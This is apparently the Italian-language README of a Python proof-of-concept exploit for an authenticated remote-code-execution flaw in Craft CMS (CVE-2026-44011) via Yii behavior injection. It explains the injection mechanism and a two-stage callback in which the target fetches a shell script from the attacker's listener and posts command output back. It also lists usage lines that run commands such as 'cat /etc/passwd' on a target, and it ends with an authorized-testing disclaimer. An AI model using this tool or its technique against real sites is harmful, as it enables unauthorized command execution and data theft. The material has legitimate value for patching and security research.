
Proof-of-concept di exploit in Python per CVE-2026-44011, un RCE autenticato in Craft CMS tramite Yii behavior injection, con acquisizione dell'output dei comandi in due fasi.
RCE autenticato in Craft CMS tramite iniezione di behavior Yii.
Affected: 4.0.0–4.17.11, 5.0.0–5.9.17
Fixed in: 4.17.12, 5.9.18
Advisory: GHSA-qrgm-p9w5-rrfw
L'endpoint /admin/actions/element-search/search accetta un parametro condition che viene passato direttamente a ElementCondition::createCondition() senza che venga prima chiamato Component::cleanseConfig(). Ciò significa che le chiavi speciali di costruzione di oggetti di Yii — __class, as <name> (attach behavior), on <event> (register handler) — hanno effetto quando l'oggetto FieldLayout viene costruito a partire dai dati della richiesta.
L'exploit allega AttributeTypecastBehavior configurato per chiamare Psy\Readline\Hoa\ConsoleProcessus::execute() (un interno di PSY/Yii che esegue comandi shell) come suo callable di typecast. Il behavior si attiva sull'evento beforeSave, che Craft scatena durante la stessa richiesta.
Qualsiasi account — anche un editor con privilegi minimi — può farlo. Non sono necessari privilegi di amministratore.
Anziché una reverse shell cieca, utilizza una cattura dell'output in due fasi:
curl che recupera uno script shell da un listener HTTP locale sotto il tuo controlloOttieni l'output del comando direttamente nel terminale, senza bisogno di un listener nc.
requests (pip install requests)# Basic — run id on the target
python3 exploit.py \
-b http://target.com \
-u [email protected] \
-p 'password123' \
-c 'id'
# Custom control panel path
python3 exploit.py -b http://target.com -P /craftcms -u admin -p pass -c 'whoami'
# Specify your callback address when it can't be inferred
python3 exploit.py -b http://target.com -u admin -p pass -c 'cat /etc/passwd' \
-H 10.10.14.5 --listen-port 8080
# Skip TLS verification (self-signed certs)
python3 exploit.py -b https://target.com -u admin -p pass -c 'id' --no-verify
# Skip version check (e.g. version detection fails)
python3 exploit.py -b http://target.com -u admin -p pass -c 'id' --force
L'host/porta di callback è dove il target invia via POST l'output verso di te. Per impostazione predefinita l'host viene dedotto dalla tua rotta verso il target e la porta è assegnata dal sistema operativo. Se il target è dietro un NAT o una VPN avrai bisogno di --callback-host che punti al tuo IP raggiungibile.
-b / --base-url Target origin (required)
-P / --cp-path Control panel path (default: /admin)
-u / --username Login name or email (required)
-p / --password Password (required)
-c / --command Shell command to execute (required)
-s / --site-id Craft site ID (default: 1)
-e / --element-type Element type for the condition (default: craft\elements\Category)
-t / --timeout Request timeout in seconds (default: 15)
-H / --callback-host Your reachable address for output callbacks
--listen-port Port for output listener (default: OS picks one)
--no-verify Skip TLS cert verification
-F / --force Skip version range check
Solo per test di sicurezza autorizzati e ricerca.